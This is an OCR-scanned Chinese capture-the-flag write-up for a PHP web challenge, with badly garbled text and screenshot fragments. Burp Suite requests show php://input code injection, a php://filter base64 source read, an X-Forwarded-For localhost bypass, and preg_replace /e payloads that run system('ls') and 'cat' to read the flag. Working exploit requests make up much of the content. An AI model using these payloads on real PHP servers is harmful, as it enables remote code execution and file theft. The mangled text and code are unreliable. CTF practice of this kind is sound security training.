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BARR XA EEBRIMZERAAE, ZRXERAKBN php://, EBEHRADSTH, THEARF.

B S php://input BT AHEAT phpRAGHI$RES, RIAFAT:

[ send |[cancel [<[v|[>]¥ Target: http://111.200.241.244:60495 2 (2)
Request Response

Raw | Params | Headers | Hex | XML Raw | Headers | Hex HTML[Renderl
M/index.php?p598£php://input HTTP/1.1 W Burp Suite Response Renderer — m] X

Host: 111.200.241.244:60495

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like|
Chrome/94.0.4606.81 Safari/537.36

SFaRELPRO

Accept: ,_,_&5”%
text/html application/xhtml+xml,application/xml,gq=0.9,image/avif image/webp,image/d E
pplication/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate D pEs Xt UHPRES Y-
Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=0j89niksqOgmnbcle261khj8r4
Connection: close

Content-Length: 18

<?php phpinfo();?>
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payload: page=php://filter/read=convert.base64-encode/resource=index.php
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P A=ty caim il Google Translate

PD9waHAKZXJyb3JfcmVwhb3J0aW5nKDApOwoKQHNIc3Npb25fc3RhenQoKTsKeG9zaXhfc2VOdWIkKDEwMDApOwoKCj8+CjwhRESDVFIQRSBIVE1MPgo8aHRtbD4KCjxoZWFkPgoglCAgPG1IdGEgY Zhhc

BRFEL 2 Gt iTbase64f@Eig, W LAS 3|8 .
<?php
$page = $_GET[page];

if (isset($page)) {

if (ctype_alnum($page)) {

br br br
div style
p class php echo $page; die();

br br br

br br
div style
p class

php

if (strpos($page,
die();

if (strpos($page,
die();

if (strpos($page,
die();

if ($page




include($page);
die();

Yo% 4193, a5VRf%, 2 £Ar"A%ES ‘4. ¢3,ASVefAiAEA 2ef%at
Ef 4208 TR .

if ($_SERVER[
echo
$pattern = $ GET[pat];
$replacement = $ GET[rep];
$subject = $ GET[sub];
if (isset($pattern) isset($replacement) isset($subject)) {
preg replace($pattern, $replacement, $subject);

}else{
die();

ctype_alnum($text) RS LEEANSHYREEN B FZEE TR, MELRErue, % NREfalse.

strpos(string,find,start) EREEIRANAESR —FREstringFE —REBRKMNE (KPMBHEE) .

string . MEBBRIZRE.
find . MEBEBERKFRE.
start A& MEEMLTFHEHER.

preg_replace($pattern, $replacement, $subject) BIF&¥ subject ILELpatternffi#i 4> Freplacement& #:, R 5 A/eS4
HiE, Bt ¥replacement iphp RIS H4T

$pattern: EB RN, WURFRFER—NERFBHLHA. EN.
$replacement: F % ¥ i) 2 1F B B 5 404 .
$subject: ZLH R Fr i) B AR 5 5B BUE 5 B 504




le 1BIER 1% preg_replace() ¥ replacement Z¥0241E PHP ARRS (7E3& 24 i3 )
SIRABHRTEZE .
or: BEHR replacement M —NEHER PHP REGZFFE, BN PHP SERGER S preg_replace() HIATH H BLIBEVEMEITEE R o

RIB#EIFEEZ G, B ITRAT
BHheMWiEhtpiERE: AEpagesH, WinX-forwarded-Fors Bt
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Send Cancel < |v >|v Target: http://111.200.241.244:60495 / @
Request Response
Raw | Params IHeadersI Hex Raw | Headers | Hex | HTML I Render]
Name Value Add | B Burp Suite Response Renderer — O
GET l /index.php HTTP/1.1 —
Host 111.200.241,244:60495 | Remove | TR LREEA
Cache-Control max-age=0 Up
Upgrade-Insecure-Requests 1 W
User-Agent Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537... 1§p_ U%E
Accept text/html,application/xhtml+xml,application/xml;q=0.9 image... =
Accept-Encoding gzip, deflate
Accept-Language Zh-CN,zh:g=0.9 ID RES B PR 21
Cookie PHPSESSID=0j89niksq0gmnbele261khj8r4
Connection close
X-forwarded-For 127.0.0.1 I

=]

‘elcome My Admin !

BT RFI A H £ preg_replace i ¥/elRif: &FEFTA X4
payload: /index.php?pat=/abc/e&rep=system("1ls")&sub=asdsadasabc

| Send || Cancel || < [¥|| >|¥ Target: http://111.200.241.244:60495 7 C
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex HTMLWRender]
GET /index.php?pat:/abc/e&rep:system(”Is")&sub:asdsadasabcl HTTP/1.1 ~ element.on('nav(demo)’, function(elem) {
Host: 111.200.241.244:60495 //console.log(elem)
Cache-Control: max-age=0 layer.msg(elem.text());
Upgrade-Insecure-Requests: 1 n:
User-Agent: Moxzilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like hE
Gecko) Chrome/94.0.4606.81 Safari/537.36 </script>
Accept:
text/html,application/xhtml+xml.application/xml;,q=0.9,image/avifimage/webp,image/apng,*/*; <br >Welcome My Admin ! <br >css
q=0.8,application/signed-exchange;v=b3;q=0.9 index.html
Accept-Encoding: gzip, deflate index.php
Accept-Language: zh-CN,zh;q=0.9 js
Cookie: PHPSESSID=0j89niksq0gmnbcle261khj8rd layui
Connection: close logo.png
X-forwarded-For: 127.0.0.1
start.s
#1E.png
</body>
</html> cso

BRI AHAT fr 34T, HEHRIUASEES, #NEBRIFEE M
payload: /index.php?pat=/abc/e&rep=system("cd%20s3chahahaDir%26%26%201s")&sub=asdsadasabc
%26 78&, X BT T urgwhy, AHEATRIGERK

[ Send J Cancel [ <|v J > Target: http://111.200.241.244:60495 f @
Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex HTMLWRender]
GET S page: true ,
Jindex.php?pat=/abc/e&rep=system("cd%20s3chahahaDir%26%26%20ls")&sub=asdsadasabc n:
HTTP/1.1 hH
Host: 111.200.241.244:60495| </fscript>
Cache-Control: max-age=0 <script>
Upgrade-Insecure-Requests: 1 layui.use('element’, function() {
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like var element = layui.element; //SfifflhoverifilR. Z“HRBFNEE, FE(KificlementiEiR
Gecko) Chrome/94.0.4606.81 Safari/537.36 [/ERSihaE
Accept: element.on('nav(demo)’, function(elem) {
text/html,application/xhtml+xml,application/xml;q=0.9,image/avifimage/webp,image/apng,*/*; //console.log(elem)




Y=v.oappucduornssignea-excrianye,v=opo,4q=u.y
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=0j89niksq0qmnbcle261khj8r4
Connection: close

X-forwarded-For: 127.0.0.1

BN flag H K EF XM
payload:

J L

s

1QyCr.MSg(CICITLICXLY);

n:
n:
</script>
<br >Welcome My Admin ! <br
</body>
</html>

/index.php?pat=/abc/e&rep=system("cd%20s3chahahaDir/f1ag%26%26%201s" )&sub=asdsadasabc

{SendJ Cancel l( 'J > |

Target: http://111.200.241.244:60495 @

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex HTMLWRender]
GET S page: true .
/index.php?pat=/abc/e&rep=system("cd%20s3chahahaDir/flag%26%26%20ls")&sub=asdsadas hE
abc HTTP/1.1 h:
Host: 111.200.241.244:60495 </script>
Cache-Control: max-age=0 <script>

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW&64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/94.0.4606.81 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avifimage/webp,image/apng,*/*;
q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=0j89niksq0gmnbcle261khj8r4

Connection: close

X-forwarded-For: 127.0.0.1

KIflag.phpXt, fEHcat#ITEE:
payload:

layui.use('element’, function() {
var element = layui.element; //SfifflhoverifilR. Z“HRBFNEE, FE(KificlementiEiR
[IERSiRsE
element.on('nav(demo)’, function(elem) {
//console.log(elem)
layer.msg(elem.text();

n:
h:
</script>
<br >Welcome My Admin ! <br $flag.php
</body>
</html>

/index.php?pat=/abc/e&rep=system("cat%20s3chahahaDir/flag/flag.php")&sub=asdsadasabc

{SendJ Cancel {( V] > |

Target: http://111.200.241.244.:60495 /@

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex HTMLWRender]
GET H <script> S
/index.php?pat=/abc/e&rep=system(”cat%ZOsBchahahaDir/fIag/fIag.phpl‘)&sub:asdsadasabc layui.use(‘element’, function() {
HTTP/1.1 var element = layui.element; //SfiflJhoverddR. “HFHZINEE, FE(KiflelementiEi

Host: 111.200.241.244:60495

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/94.0.4606.81 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml,q=0.9,image/avifimage/webp,image/apng,*/*;
q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=0j89niksq0gmnbcle261khjgra

Connection: close

X-forwarded-For: 127.0.0.1

152 & Biflag
Jlé\ %

php3C A& Hh Py B L £
preg_replace() ek £/e iR 7

/MERSHES
element.on('nav(demo)’, function(elem) {
//console.log(elem)
layer.msg(elem.text());
h:
h:

</script>
<br >Welcome My Admin ! <br > <?php
$flag = 'cyberpeace{80a6233d5e4c8b5c8d6d804b8853f51b};

>

</body>

</html>
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